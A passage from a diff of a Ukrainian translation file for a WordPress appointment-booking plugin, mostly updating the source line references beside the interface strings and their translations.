-#: assets/js/gutenberg-blocks.js:11533
+#: assets/js/gutenberg-blocks.js:11534
 msgid "Show contact information."
 msgstr "Відображати контактну інформацію."
 
 #: includes/divi/modules/EmployeesListModule.php:67
 #: includes/elementor/widgets/EmployeesListWidget.php:84
 #: includes/shortcodes/EmployeesListShortcode.php:61
-#: assets/js/gutenberg-blocks.js:11541
+#: assets/js/gutenberg-blocks.js:11542
 msgid "Show social networks."
 msgstr "Відображати соціальні мережі."
 
 #: includes/divi/modules/EmployeesListModule.php:77
 #: includes/elementor/widgets/EmployeesListWidget.php:94
 #: includes/shortcodes/EmployeesListShortcode.php:66
-#: assets/js/gutenberg-blocks.js:11549
+#: assets/js/gutenberg-blocks.js:11550
 msgid "Show additional information."
 msgstr "Відображати додаткову інформацію."
 
@@ -1722,7 +1712,7 @@
 #: includes/elementor/widgets/EmployeesListWidget.php:107
 #: includes/metaboxes/shortcode/EmployeesListMetabox.php:60
 #: includes/shortcodes/EmployeesListShortcode.php:71
-#: assets/js/gutenberg-blocks.js:11558
+#: assets/js/gutenberg-blocks.js:11559
 msgid "Comma-separated slugs or IDs of employees that will be shown."
 msgstr "Розділені комами слаґи або ID співробітників які будуть показані."
 
@@ -1736,8 +1726,8 @@
 #: includes/post-types/LocationPostType.php:77
 #: assets/js/analytics-page.js:33420
 #: assets/js/calendar-page.js:45397
-#: assets/js/gutenberg-blocks.js:11566
-#: assets/js/gutenberg-blocks.js:11828
+#: assets/js/gutenberg-blocks.js:11567
+#: assets/js/gutenberg-blocks.js:11829
 msgid "Locations"
 msgstr "Місцезнаходження"
 
@@ -1745,8 +1735,8 @@
 #: includes/elementor/widgets/EmployeesListWidget.php:117
 #: includes/metaboxes/shortcode/EmployeesListMetabox.php:66
 #: includes/shortcodes/EmployeesListShortcode.php:76
-#: assets/js/gutenberg-blocks.js:11567
-#: assets/js/gutenberg-blocks.js:11829
+#: assets/js/gutenberg-blocks.js:11568
+#: assets/js/gutenberg-blocks.js:11830
 msgid "Comma-separated slugs or IDs of locations."
 msgstr "Розділені комами слаґи або ID місцезнаходжень."
 
@@ -1759,9 +1749,9 @@
 #: includes/metaboxes/shortcode/EmployeesListMetabox.php:71
 #: includes/metaboxes/shortcode/LocationsListMetabox.php:68
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:84
-#: assets/js/gutenberg-blocks.js:11575
-#: assets/js/gutenberg-blocks.js:11846
-#: assets/js/gutenberg-blocks.js:12500
+#: assets/js/gutenberg-blocks.js:11576
+#: assets/js/gutenberg-blocks.js:11847
+#: assets/js/gutenberg-blocks.js:12501
 msgid "Posts Per Page"
 msgstr "Кількість повідомлень на сторінці"
 
@@ -1779,10 +1769,10 @@
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:96
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:91
 #: includes/widgets/AppointmentFormWidget.php:237
-#: assets/js/gutenberg-blocks.js:11584
-#: assets/js/gutenberg-blocks.js:11855
-#: assets/js/gutenberg-blocks.js:12170
-#: assets/js/gutenberg-blocks.js:12509
+#: assets/js/gutenberg-blocks.js:11585
+#: assets/js/gutenberg-blocks.js:11856
+#: assets/js/gutenberg-blocks.js:12171
+#: assets/js/gutenberg-blocks.js:12510
 msgid "Columns Count"
 msgstr "Кількість стовпців"
 
@@ -1800,10 +1790,10 @@
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:92
 #: includes/shortcodes/AbstractPostsListShortcode.php:29
 #: includes/shortcodes/AbstractTermsListShortcode.php:30
-#: assets/js/gutenberg-blocks.js:11585
-#: assets/js/gutenberg-blocks.js:11856
-#: assets/js/gutenberg-blocks.js:12171
-#: assets/js/gutenberg-blocks.js:12510
+#: assets/js/gutenberg-blocks.js:11586
+#: assets/js/gutenberg-blocks.js:11857
+#: assets/js/gutenberg-blocks.js:12172
+#: assets/js/gutenberg-blocks.js:12511
 msgid "The number of columns in the grid."
 msgstr "Кількість стовпців у сітці."
 
@@ -1817,10 +1807,10 @@
 #: includes/elementor/widgets/ServicesListWidget.php:178
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:59
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:54
-#: assets/js/gutenberg-blocks.js:11594
-#: assets/js/gutenberg-blocks.js:11865
-#: assets/js/gutenberg-blocks.js:12180
-#: assets/js/gutenberg-blocks.js:12519
+#: assets/js/gutenberg-blocks.js:11595
+#: assets/js/gutenberg-blocks.js:11866
+#: assets/js/gutenberg-blocks.js:12181
+#: assets/js/gutenberg-blocks.js:12520
 msgid "Order By"
 msgstr "Сортувати за"
 
@@ -1834,10 +1824,10 @@
 #: includes/elementor/widgets/ServicesListWidget.php:182
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:39
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:40
-#: assets/js/gutenberg-blocks.js:11601
-#: assets/js/gutenberg-blocks.js:11872
-#: assets/js/gutenberg-blocks.js:12187
-#: assets/js/gutenberg-blocks.js:12526
+#: assets/js/gutenberg-blocks.js:11602
+#: assets/js/gutenberg-blocks.js:11873
+#: assets/js/gutenberg-blocks.js:12188
+#: assets/js/gutenberg-blocks.js:12527
 msgid "No order"
 msgstr "Без сортування"
 
@@ -1848,9 +1838,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:124
 #: includes/elementor/widgets/ServicesListWidget.php:183
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:40
-#: assets/js/gutenberg-blocks.js:11604
-#: assets/js/gutenberg-blocks.js:11875
-#: assets/js/gutenberg-blocks.js:12529
+#: assets/js/gutenberg-blocks.js:11605
+#: assets/js/gutenberg-blocks.js:11876
+#: assets/js/gutenberg-blocks.js:12530
 msgid "Post ID"
 msgstr "ID запису"
 
@@ -1861,9 +1851,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:125
 #: includes/elementor/widgets/ServicesListWidget.php:184
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:41
-#: assets/js/gutenberg-blocks.js:11607
-#: assets/js/gutenberg-blocks.js:11878
-#: assets/js/gutenberg-blocks.js:12532
+#: assets/js/gutenberg-blocks.js:11608
+#: assets/js/gutenberg-blocks.js:11879
+#: assets/js/gutenberg-blocks.js:12533
 msgid "Post author"
 msgstr "Автор запису"
 
@@ -1877,9 +1867,9 @@
 #: includes/metaboxes/shortcode/LocationsListMetabox.php:49
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:49
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:42
-#: assets/js/gutenberg-blocks.js:11610
-#: assets/js/gutenberg-blocks.js:11881
-#: assets/js/gutenberg-blocks.js:12535
+#: assets/js/gutenberg-blocks.js:11611
+#: assets/js/gutenberg-blocks.js:11882
+#: assets/js/gutenberg-blocks.js:12536
 msgid "Post title"
 msgstr "Заголовок запису"
 
@@ -1890,9 +1880,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:127
 #: includes/elementor/widgets/ServicesListWidget.php:186
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:43
-#: assets/js/gutenberg-blocks.js:11613
-#: assets/js/gutenberg-blocks.js:11884
-#: assets/js/gutenberg-blocks.js:12538
+#: assets/js/gutenberg-blocks.js:11614
+#: assets/js/gutenberg-blocks.js:11885
+#: assets/js/gutenberg-blocks.js:12539
 msgid "Post name (post slug)"
 msgstr "Назва запису (слаг запису)"
 
@@ -1903,9 +1893,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:128
 #: includes/elementor/widgets/ServicesListWidget.php:187
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:44
-#: assets/js/gutenberg-blocks.js:11616
-#: assets/js/gutenberg-blocks.js:11887
-#: assets/js/gutenberg-blocks.js:12541
+#: assets/js/gutenberg-blocks.js:11617
+#: assets/js/gutenberg-blocks.js:11888
+#: assets/js/gutenberg-blocks.js:12542
 msgid "Post date"
 msgstr "Дата запису"
 
@@ -1916,9 +1906,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:129
 #: includes/elementor/widgets/ServicesListWidget.php:188
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:45
-#: assets/js/gutenberg-blocks.js:11619
-#: assets/js/gutenberg-blocks.js:11890
-#: assets/js/gutenberg-blocks.js:12544
+#: assets/js/gutenberg-blocks.js:11620
+#: assets/js/gutenberg-blocks.js:11891
+#: assets/js/gutenberg-blocks.js:12545
 msgid "Last modified date"
 msgstr "Дата останньої зміни"
 
@@ -1929,9 +1919,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:130
 #: includes/elementor/widgets/ServicesListWidget.php:189
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:46
-#: assets/js/gutenberg-blocks.js:11622
-#: assets/js/gutenberg-blocks.js:11893
-#: assets/js/gutenberg-blocks.js:12547
+#: assets/js/gutenberg-blocks.js:11623
+#: assets/js/gutenberg-blocks.js:11894
+#: assets/js/gutenberg-blocks.js:12548
 msgid "Random order"
 msgstr "Випадковий порядок"
 
@@ -1942,9 +1932,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:131
 #: includes/elementor/widgets/ServicesListWidget.php:190
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:47
-#: assets/js/gutenberg-blocks.js:11625
-#: assets/js/gutenberg-blocks.js:11896
-#: assets/js/gutenberg-blocks.js:12550
+#: assets/js/gutenberg-blocks.js:11626
+#: assets/js/gutenberg-blocks.js:11897
+#: assets/js/gutenberg-blocks.js:12551
 msgid "Relevance"
 msgstr "Релевантність"
 
@@ -1958,10 +1948,10 @@
 #: includes/elementor/widgets/ServicesListWidget.php:191
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:48
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:48
-#: assets/js/gutenberg-blocks.js:11628
-#: assets/js/gutenberg-blocks.js:11899
-#: assets/js/gutenberg-blocks.js:12211
-#: assets/js/gutenberg-blocks.js:12553
+#: assets/js/gutenberg-blocks.js:11629
+#: assets/js/gutenberg-blocks.js:11900
+#: assets/js/gutenberg-blocks.js:12212
+#: assets/js/gutenberg-blocks.js:12554
 msgid "Page order"
 msgstr "Послідовність сторінок"
 
@@ -1972,9 +1962,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:133
 #: includes/elementor/widgets/ServicesListWidget.php:192
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:49
-#: assets/js/gutenberg-blocks.js:11631
-#: assets/js/gutenberg-blocks.js:11902
-#: assets/js/gutenberg-blocks.js:12556
+#: assets/js/gutenberg-blocks.js:11632
+#: assets/js/gutenberg-blocks.js:11903
+#: assets/js/gutenberg-blocks.js:12557
 msgid "Page order and post title"
 msgstr "Порядок сторінок і назва"
 
@@ -1986,10 +1976,10 @@
 #: includes/elementor/widgets/LocationsListWidget.php:146
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:178
 #: includes/elementor/widgets/ServicesListWidget.php:206
-#: assets/js/gutenberg-blocks.js:11641
-#: assets/js/gutenberg-blocks.js:11912
-#: assets/js/gutenberg-blocks.js:12221
-#: assets/js/gutenberg-blocks.js:12569
+#: assets/js/gutenberg-blocks.js:11642
+#: assets/js/gutenberg-blocks.js:11913
+#: assets/js/gutenberg-blocks.js:12222
+#: assets/js/gutenberg-blocks.js:12570
 msgid "DESC"
 msgstr "DESC"
 
@@ -2003,24 +1993,24 @@
 #: includes/elementor/widgets/ServicesListWidget.php:207
 #: includes/shortcodes/AbstractPostsListShortcode.php:42
 #: includes/shortcodes/AbstractTermsListShortcode.php:43
-#: assets/js/gutenberg-blocks.js:11644
-#: assets/js/gutenberg-blocks.js:11915
-#: assets/js/gutenberg-blocks.js:12224
-#: assets/js/gutenberg-blocks.js:12572
+#: assets/js/gutenberg-blocks.js:11645
+#: assets/js/gutenberg-blocks.js:11916
+#: assets/js/gutenberg-blocks.js:12225
+#: assets/js/gutenberg-blocks.js:12573
 msgid "ASC"
 msgstr "ASC"
 
 #: includes/divi/modules/EmployeeSocialNetworksModule.php:20
 #: includes/elementor/widgets/EmployeeSocialNetworksWidget.php:25
 #: includes/shortcodes/single-employee/EmployeeSocialNetworksShortcode.php:29
-#: assets/js/gutenberg-blocks.js:13481
+#: assets/js/gutenberg-blocks.js:13482
 msgid "Employee Social Networks"
 msgstr "Соціальні мережі співробітника"
 
 #: includes/divi/modules/EmployeeTitleModule.php:20
 #: includes/elementor/widgets/EmployeeTitleWidget.php:25
 #: includes/shortcodes/single-employee/EmployeeTitleShortcode.php:29
-#: assets/js/gutenberg-blocks.js:12866
+#: assets/js/gutenberg-blocks.js:12867
 msgid "Employee Title"
 msgstr "Назва співробітника"
 
@@ -2028,7 +2018,7 @@
 #: includes/elementor/widgets/LocationsListWidget.php:25
 #: includes/metaboxes/shortcode/LocationsListMetabox.php:29
 #: includes/shortcodes/LocationsListShortcode.php:29
-#: assets/js/gutenberg-blocks.js:11963
+#: assets/js/gutenberg-blocks.js:11964
 msgid "Locations List"
 msgstr "Список місцезнаходжень"
 
@@ -2050,9 +2040,9 @@
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:72
 #: includes/post-types/LocationPostType.php:124
 #: includes/post-types/ServicePostType.php:164
-#: assets/js/gutenberg-blocks.js:11837
-#: assets/js/gutenberg-blocks.js:12123
-#: assets/js/gutenberg-blocks.js:12482
+#: assets/js/gutenberg-blocks.js:11838
+#: assets/js/gutenberg-blocks.js:12124
+#: assets/js/gutenberg-blocks.js:12483
 msgid "Categories"
 msgstr "Категорії"
 
@@ -2068,9 +2058,9 @@
 #: includes/shortcodes/LocationsListShortcode.php:61
 #: includes/shortcodes/ServiceCategoriesShortcode.php:64
 #: includes/shortcodes/ServicesListShortcode.php:86
-#: assets/js/gutenberg-blocks.js:11838
-#: assets/js/gutenberg-blocks.js:12124
-#: assets/js/gutenberg-blocks.js:12483
+#: assets/js/gutenberg-blocks.js:11839
+#: assets/js/gutenberg-blocks.js:12125
+#: assets/js/gutenberg-blocks.js:12484
 msgid "Comma-separated slugs or IDs of categories that will be shown."
 msgstr "Розділені комами слаґи або ID категорій, які будуть показані."
 
@@ -2080,26 +2070,26 @@
 #: includes/post-types/ServicePostType.php:149
 #: includes/post-types/ServicePostType.php:252
 #: includes/shortcodes/ServiceCategoriesShortcode.php:31
-#: assets/js/gutenberg-blocks.js:12272
+#: assets/js/gutenberg-blocks.js:12273
 msgid "Service Categories"
 msgstr "Категорії послуг"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:37
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:53
-#: assets/js/gutenberg-blocks.js:12098
+#: assets/js/gutenberg-blocks.js:12099
 msgid "Show Services Count?"
 msgstr "Показати кількість послуг?"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:47
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:63
-#: assets/js/gutenberg-blocks.js:12106
+#: assets/js/gutenberg-blocks.js:12107
 msgid "Show Description?"
 msgstr "Показати опис?"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:57
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:73
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:56
-#: assets/js/gutenberg-blocks.js:12114
+#: assets/js/gutenberg-blocks.js:12115
 msgid "Parent"
 msgstr "Батьківський елемент"
 
@@ -2107,14 +2097,14 @@
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:76
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:57
 #: includes/shortcodes/ServiceCategoriesShortcode.php:58
-#: assets/js/gutenberg-blocks.js:12115
+#: assets/js/gutenberg-blocks.js:12116
 msgid "Parent term slug or ID to retrieve direct-child terms from."
 msgstr "Slug батьківського терміну або ID для отримання прямих дочірніх термінів."
 
 #: includes/divi/modules/ServiceCategoriesModule.php:69
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:93
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:68
-#: assets/js/gutenberg-blocks.js:12132
+#: assets/js/gutenberg-blocks.js:12133
 msgid "Exclude Categories"
 msgstr "Виключити категорії"
 
@@ -2122,21 +2112,21 @@
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:96
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:69
 #: includes/shortcodes/ServiceCategoriesShortcode.php:69
-#: assets/js/gutenberg-blocks.js:12133
+#: assets/js/gutenberg-blocks.js:12134
 msgid "Comma-separated slugs or IDs of categories that will not be shown."
 msgstr "Розділені комами слаґи або ID категорій, які не будуть показані."
 
 #: includes/divi/modules/ServiceCategoriesModule.php:75
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:103
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:74
-#: assets/js/gutenberg-blocks.js:12141
+#: assets/js/gutenberg-blocks.js:12142
 msgid "Hide Empty"
 msgstr "Сховати пусті"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:85
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:114
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:80
-#: assets/js/gutenberg-blocks.js:12150
+#: assets/js/gutenberg-blocks.js:12151
 msgid "Depth"
 msgstr "Глибина"
 
@@ -2144,14 +2134,14 @@
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:115
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:81
 #: includes/shortcodes/ServiceCategoriesShortcode.php:79
-#: assets/js/gutenberg-blocks.js:12151
+#: assets/js/gutenberg-blocks.js:12152
 msgid "Display depth of child categories."
 msgstr "Показувати глибину дочірніх категорій."
 
 #: includes/divi/modules/ServiceCategoriesModule.php:97
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:127
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:88
-#: assets/js/gutenberg-blocks.js:12160
+#: assets/js/gutenberg-blocks.js:12161
 msgid "Number"
 msgstr "Число"
 
@@ -2159,56 +2149,56 @@
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:128
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:89
 #: includes/shortcodes/AbstractTermsListShortcode.php:24
-#: assets/js/gutenberg-blocks.js:12161
+#: assets/js/gutenberg-blocks.js:12162
 msgid "Maximum number of categories to show."
 msgstr "Максимальна кількість категорій для відображення."
 
 #: includes/divi/modules/ServiceCategoriesModule.php:126
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:158
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:41
-#: assets/js/gutenberg-blocks.js:12190
+#: assets/js/gutenberg-blocks.js:12191
 msgid "Term name"
 msgstr "Назва терміну"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:127
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:159
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:42
-#: assets/js/gutenberg-blocks.js:12193
+#: assets/js/gutenberg-blocks.js:12194
 msgid "Term slug"
 msgstr "Слаг терміну"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:128
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:160
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:43
-#: assets/js/gutenberg-blocks.js:12196
+#: assets/js/gutenberg-blocks.js:12197
 msgid "Term ID"
 msgstr "Ідентифікатор значення"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:129
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:161
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:44
-#: assets/js/gutenberg-blocks.js:12199
+#: assets/js/gutenberg-blocks.js:12200
 msgid "Parent ID"
 msgstr "Батьківський ID"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:130
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:162
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:45
-#: assets/js/gutenberg-blocks.js:12202
+#: assets/js/gutenberg-blocks.js:12203
 msgid "Number of associated objects"
 msgstr "Кількість пов'язаних об'єктів"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:131
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:163
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:46
-#: assets/js/gutenberg-blocks.js:12205
+#: assets/js/gutenberg-blocks.js:12206
 msgid "Keep the order of \"IDs\" parameter"
 msgstr "Залишити порядок параметра \"IDs\""
 
 #: includes/divi/modules/ServiceCategoriesModule.php:132
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:164
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:47
-#: assets/js/gutenberg-blocks.js:12208
+#: assets/js/gutenberg-blocks.js:12209
 msgid "Term order"
 msgstr "Порядок терміну"
 
@@ -2216,35 +2206,35 @@
 #: includes/elementor/widgets/ServicesListWidget.php:24
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:29
 #: includes/shortcodes/ServicesListShortcode.php:29
-#: assets/js/gutenberg-blocks.js:12620
+#: assets/js/gutenberg-blocks.js:12621
 msgid "Services List"
 msgstr "Список послуг"
 
 #: includes/divi/modules/ServicesListModule.php:57
 #: includes/elementor/widgets/ServicesListWidget.php:73
 #: includes/shortcodes/ServicesListShortcode.php:56
-#: assets/js/gutenberg-blocks.js:12432
+#: assets/js/gutenberg-blocks.js:12433
 msgid "Show service price."
 msgstr "Показувати вартість послуги."
 
 #: includes/divi/modules/ServicesListModule.php:67
 #: includes/elementor/widgets/ServicesListWidget.php:83
 #: includes/shortcodes/ServicesListShortcode.php:61
-#: assets/js/gutenberg-blocks.js:12440
+#: assets/js/gutenberg-blocks.js:12441
 msgid "Show service duration."
 msgstr "Показувати тривалість послуги."
 
 #: includes/divi/modules/ServicesListModule.php:77
 #: includes/elementor/widgets/ServicesListWidget.php:93
 #: includes/shortcodes/ServicesListShortcode.php:66
-#: assets/js/gutenberg-blocks.js:12448
+#: assets/js/gutenberg-blocks.js:12449
 msgid "Show service capacity."
 msgstr "Показувати місткість послуги."
 
 #: includes/divi/modules/ServicesListModule.php:87
 #: includes/elementor/widgets/ServicesListWidget.php:103
 #: includes/shortcodes/ServicesListShortcode.php:71
-#: assets/js/gutenberg-blocks.js:12456
+#: assets/js/gutenberg-blocks.js:12457
 msgid "Show service employees."
 msgstr "Показувати працівників послуги."
 
@@ -2252,7 +2242,7 @@
 #: includes/elementor/widgets/ServicesListWidget.php:116
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:61
 #: includes/shortcodes/ServicesListShortcode.php:76
-#: assets/js/gutenberg-blocks.js:12465
+#: assets/js/gutenberg-blocks.js:12466
 msgid "Comma-separated slugs or IDs of services that will be shown."
 msgstr "Розділені комами слаґи або ID послуг які будуть показані."
 
@@ -2260,7 +2250,7 @@
 #: includes/elementor/widgets/ServicesListWidget.php:126
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:67
 #: includes/shortcodes/ServicesListShortcode.php:81
-#: assets/js/gutenberg-blocks.js:12474
+#: assets/js/gutenberg-blocks.js:12475
 msgid "Comma-separated slugs or IDs of employees that perform these services."
 msgstr "Розділені комами слаги або ID працівників які виконують ці послуги."
 
@@ -2268,7 +2258,7 @@
 #: includes/elementor/widgets/ServicesListWidget.php:143
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:78
 #: includes/post-types/ServicePostType.php:210
-#: assets/js/gutenberg-blocks.js:12491
+#: assets/js/gutenberg-blocks.js:12492
 msgid "Tags"
 msgstr "Позначки"
 
@@ -2367,7 +2357,7 @@
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:105
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:75
 #: includes/shortcodes/ServiceCategoriesShortcode.php:74
-#: assets/js/gutenberg-blocks.js:12142
+#: assets/js/gutenberg-blocks.js:12143
 msgid "Hide terms not assigned to any posts."
 msgstr "Приховати терміни, не призначені жодним публікаціям."
 
@@ -2625,10 +2615,10 @@
 #: includes/emails/tags/booking/BookingLeftToPayTag.php:19
 #: templates/emails/admin/admin-approved-booking-email.php:29
 #: templates/emails/customer/customer-approved-payment-email.php:24
-#: assets/js/divi-modules.js:6018
-#: assets/js/elementor-widgets.js:6018
-#: assets/js/gutenberg-blocks.js:6457
-#: assets/js/public.js:6018
+#: assets/js/divi-modules.js:6019
+#: assets/js/elementor-widgets.js:6019
+#: assets/js/gutenberg-blocks.js:6458
+#: assets/js/public.js:6019
 msgid "Left to pay"
 msgstr "Залишилось сплатити"
 
@@ -2848,11 +2838,11 @@
 #: templates/shortcodes/booking/step-cart.php:48
 #: templates/shortcodes/template-parts/booking-details.php:51
 #: assets/js/calendar-page.js:38070
-#: assets/js/divi-modules.js:2858
-#: assets/js/edit-post.js:4314
-#: assets/js/elementor-widgets.js:2858
+#: assets/js/divi-modules.js:2859
+#: assets/js/edit-post.js:4315
+#: assets/js/elementor-widgets.js:2859
 #: assets/js/gutenberg-blocks.js:431
-#: assets/js/public.js:2858
+#: assets/js/public.js:2859
 #: assets/js/widgets-manage-page.js:300
 msgid "Clients"
 msgstr "Клієнти"
@@ -2914,13 +2904,13 @@
 #: includes/fields/complex/TimetableField.php:313
 #: includes/structures/TimePeriod.php:294
 #: assets/js/calendar-page.js:38145
-#: assets/js/divi-modules.js:3569
+#: assets/js/divi-modules.js:3570
 #: assets/js/edit-post.js:2101
-#: assets/js/edit-post.js:4846
-#: assets/js/edit-post.js:8800
-#: assets/js/elementor-widgets.js:3569
+#: assets/js/edit-post.js:4847
+#: assets/js/edit-post.js:8801
+#: assets/js/elementor-widgets.js:3570
 #: assets/js/gutenberg-blocks.js:1855
-#: assets/js/public.js:3569
+#: assets/js/public.js:3570
 #: assets/js/widgets-manage-page.js:1620
 msgid "All day"
 msgstr "Увесь день"
@@ -2929,12 +2919,12 @@
 #: includes/fields/complex/DaysOffField.php:100
 #: templates/shortcodes/booking/cart/admin-cart-item.php:113
 #: templates/shortcodes/booking/step-cart.php:72
-#: assets/js/divi-modules.js:5975
+#: assets/js/divi-modules.js:5976
 #: assets/js/edit-post.js:2051
 #: assets/js/edit-post.js:2283
-#: assets/js/elementor-widgets.js:5975
-#: assets/js/gutenberg-blocks.js:6414
-#: assets/js/public.js:5975
+#: assets/js/elementor-widgets.js:5976
+#: assets/js/gutenberg-blocks.js:6415
+#: assets/js/public.js:5976
 msgid "Remove"
 msgstr "Видалити"
 
@@ -3041,7 +3031,7 @@
 
 #. Translators: %s: Location name, like "Barbershop".
 #: includes/fields/complex/TimetableField.php:241
-#: assets/js/edit-post.js:8815
+#: assets/js/edit-post.js:8816
 #, php-format,js-format
 msgctxt "Working at %s"
 msgid "at %s"
@@ -3352,11 +3342,11 @@
 
 #: includes/helpers/PriceCalculationHelper.php:50
 #: includes/helpers/PriceCalculationHelper.php:122
-#: assets/js/divi-modules.js:6056
+#: assets/js/divi-modules.js:6057
 #: assets/js/edit-post.js:1602
-#: assets/js/elementor-widgets.js:6056
-#: assets/js/gutenberg-blocks.js:6495
-#: assets/js/public.js:6056
+#: assets/js/elementor-widgets.js:6057
+#: assets/js/gutenberg-blocks.js:6496
+#: assets/js/public.js:6057
 msgctxt "Zero price"
 msgid "Free"
 msgstr "Вільне"
@@ -3441,33 +3431,33 @@
 msgid "You can add a new log message here and press Update to save it"
 msgstr "Ви можете додати нове повідомлення журналу тут і натиснути Оновити, щоб зберегти його"
 
-#: includes/metaboxes/booking/BookingPriceMetabox.php:49
+#: includes/metaboxes/booking/BookingPriceMetabox.php:50
 #: includes/post-types/CouponPostType.php:60
 #: templates/shortcodes/booking/sections/coupon-section.php:14
 msgid "Coupon"
 msgstr "Купон"
 
-#: includes/metaboxes/booking/BookingPriceMetabox.php:55
+#: includes/metaboxes/booking/BookingPriceMetabox.php:56
 msgid "Reserved Services"
 msgstr "Зарезервовані послуги"
 
-#: includes/metaboxes/booking/BookingPriceMetabox.php:59
+#: includes/metaboxes/booking/BookingPriceMetabox.php:60
 #: includes/metaboxes/payment/PaymentDetailsMetabox.php:38
 msgid "Payment Details"
 msgstr "Деталі оплати"
 
-#: includes/metaboxes/booking/BookingPriceMetabox.php:65
+#: includes/metaboxes/booking/BookingPriceMetabox.php:66
 msgid "Booking Price"
 msgstr "Ціна бронювання"
 
 #. Translators: %d: Booking ID.
-#: includes/metaboxes/booking/BookingPriceMetabox.php:141
+#: includes/metaboxes/booking/BookingPriceMetabox.php:142
 #: includes/repositories/BookingRepository.php:113
 #, php-format
 msgid "Booking #%d"
 msgstr "Бронювання #%d"
 
-#: includes/metaboxes/booking/BookingPriceMetabox.php:186
+#: includes/metaboxes/booking/BookingPriceMetabox.php:187
 #: includes/rest/controllers/motopress/appointment/v1/BookingsRestController.php:144
 #: includes/rest/controllers/motopress/appointment/v1/BookingsRestController.php:295
 msgid "Sorry, the selected time slot is already booked."
@@ -4043,38 +4033,38 @@
 msgid "Pay with your credit card via Stripe. Use the card number 4242424242424242 with CVC 123, a valid expiration date and random 5-digit ZIP-code to test a payment."
 msgstr "Сплатіть за допомогою своєї картки через Stripe. Використайте номер картки 4242424242424242 з CVC 123, дійсним терміном дії та випадковим 5-значним поштовим кодом для тестового платежу."
 
-#: assets/js/divi-modules.js:8384
-#: assets/js/elementor-widgets.js:8384
-#: assets/js/gutenberg-blocks.js:8823
-#: assets/js/public.js:8384
+#: assets/js/divi-modules.js:8385
+#: assets/js/elementor-widgets.js:8385
+#: assets/js/gutenberg-blocks.js:8824
+#: assets/js/public.js:8385
 msgid "Bancontact"
 msgstr "Bancontact"
 
-#: assets/js/divi-modules.js:8411
-#: assets/js/elementor-widgets.js:8411
-#: assets/js/gutenberg-blocks.js:8850
